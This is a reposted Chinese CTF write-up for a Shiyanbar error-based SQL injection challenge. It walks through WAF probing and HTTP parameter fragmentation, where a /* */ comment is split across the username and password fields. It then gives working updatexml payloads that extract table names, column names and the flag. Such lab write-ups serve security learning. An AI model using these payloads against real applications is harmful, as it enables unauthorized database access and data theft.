實驗吧 加了料的報錯注入


鏈接:http://ctf5.shiyanbar.com/web/baocuo/index.php 

這題有坑點
POST提交
username=&password=
右鍵源碼:
$sql="select * from users where username='$username' and password='$password'"; 
一開始我用burpsuite跑username處的單字符waf,發現被過濾了#-:=
而在username處使用(),會顯示出User name unknow error:
我一開始在這里郁悶了好久,不用()還能玩???

最后發現在password處提交的就可以使用(), 看到這里就會發現有所古怪吧。於是可以在password弄一些函數

當輸出
username=' or '1&password=' or pcat() or '1
顯示為
FUNCTION error_based_hpf.pcat does not exist
這里庫名是error_based_hpf

而在password處使用報錯函數
floor、ExtractValue、UpdateXml、GeometryCollection、polygon、multipoint、multlinestring、multpolygon、linestring
會出現
被waf或者Unknown password error.
而name_const利用復雜而沒被出題人看上吧,而exp由於作者不想過濾掉regexp而不得不保留exp(實屬遺憾)

然后這里再回想剛才我們的做法,括號在右邊可行,但報錯函數名在右邊不可行,那么我們嘗試下報錯函數名在左邊可否,最后發現是可以的。
這里再觀看剛才報出來的庫名error_based_hpf
hpf全稱為HTTP Parameter Fragment,sql注入里有一種就叫http分割注入
payload:
username=' or updatexml/*&password=*/(1,concat(0x3a,(select user())),1) or '
這里username最后為 /* 而password最前面為*/  在拼接的時候就實現了/* */注釋功能

出題人的意圖就是左邊不能出現括號,右邊不能出現報錯函數名

先試出一些waf:
substr  mid  left right union limit like

爆表名,由於不能等號、limit、like,於是借用regexp
username=' or updatexml/*&password=*/(1,concat(0x3a,(select group_concat(table_name) from information_schema.tables where table_schema regexp database())),1) or '
得到
ffll44jj

爆列名
username=' or updatexml/*&password=*/(1,concat(0x3a,(select group_concat(column_name) from information_schema.columns where table_name regexp 'ffll44jj' )),1) or '
得到
value

爆flag
username=' or updatexml/*&password=*/(1,concat(0x3a,(select value from ffll44jj)),1) or '

總結:
這題還是很用心,但唯一的遺憾在於右邊不過濾掉exp,導致右邊直接exp報錯即可。
另外,盲注也可以,參考我上一篇《認真一點》的writeup,把等號同樣用regexp來操作。

轉載 http://www.shiyanbar.com/ctf/writeup/4869

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM